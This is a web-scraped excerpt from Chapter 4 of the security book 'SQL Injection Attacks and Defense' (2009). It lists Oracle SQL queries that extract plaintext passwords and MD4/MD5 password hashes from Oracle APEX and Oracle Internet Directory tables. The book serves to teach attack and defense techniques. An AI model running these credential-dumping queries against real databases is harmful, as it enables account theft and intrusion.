28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

select user_name,web_password_raw from flows_020000.wwv_flow_fnd_user;<br />

select user_name,web_password_raw from flows_020100.wwv_flow_fnd_user;<br />

select user_name,web_password_raw from flows_020200.wwv_flow_fnd_user;<br />

Exploiting <strong>SQL</strong> <strong>Injection</strong> • Chapter 4 197<br />

Since APEX 3.0, the MD5 passwords are salted with the security_group_id <strong>and</strong> the username,<br />

<strong>and</strong> are returned as follows:<br />

select user_name,web_password2,security_group_id from<br />

flows_030000.wwv_flow_fnd_user;<br />

select user_name,web_password2,security_group_id from<br />

flows_030000.wwv_flow_fnd_user;<br />

Oracle Internet Directory<br />

Oracle Internet Directory (OID), the Oracle Lightweight Directory Access Protocol<br />

(LDAP) directory, comes with many hashed passwords in various tables. You can access<br />

the password hashes of OID if you have normal access to all users in the company.<br />

For compatibility reasons, OID saves the same user password with different hashing<br />

algorithms (MD4, MD5, <strong>and</strong> SHA1).<br />

The following statements return the password hashes of OID users:<br />

select a.attrvalue ssouser, substr(b.attrval,2,instr(b.attrval,'}')-2)<br />

method,<br />

rawtohex(utl_encode.base64_decode(utl_raw.cast_to_raw(substr<br />

(b.attrval,instr(b.attrval,'}')+1)))) hash<br />

from ods.ct_cn a,ods.ds_attrstore b<br />

where a.entryid=b.entryid<br />

<strong>and</strong> lower(b.attrname) in (<br />

'userpassword','orclprpassword','orclgupassword','orclsslwalletpasswd',<br />

'authpassword','orclpassword')<br />

<strong>and</strong> substr(b.attrval,2,instr(b.attrval,'}')-2)='MD4'<br />

order by method,ssouser;<br />

select a.attrvalue ssouser, substr(b.attrval,2,instr(b.attrval,'}')-2)<br />

method,<br />

rawtohex(utl_encode.base64_decode(utl_raw.cast_to_raw(substr<br />

(b.attrval,instr(b.attrval,'}')+1)))) hash<br />

from ods.ct_cn a,ods.ds_attrstore b<br />

where a.entryid=b.entryid<br />

<strong>and</strong> lower(b.attrname) in (<br />

'userpassword','orclprpassword','orclgupassword','orclsslwalletpasswd',<br />

'authpassword','orclpassword')<br />

<strong>and</strong> substr(b.attrval,2,instr(b.attrval,'}')-2)='MD5'<br />

order by method,ssouser;

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!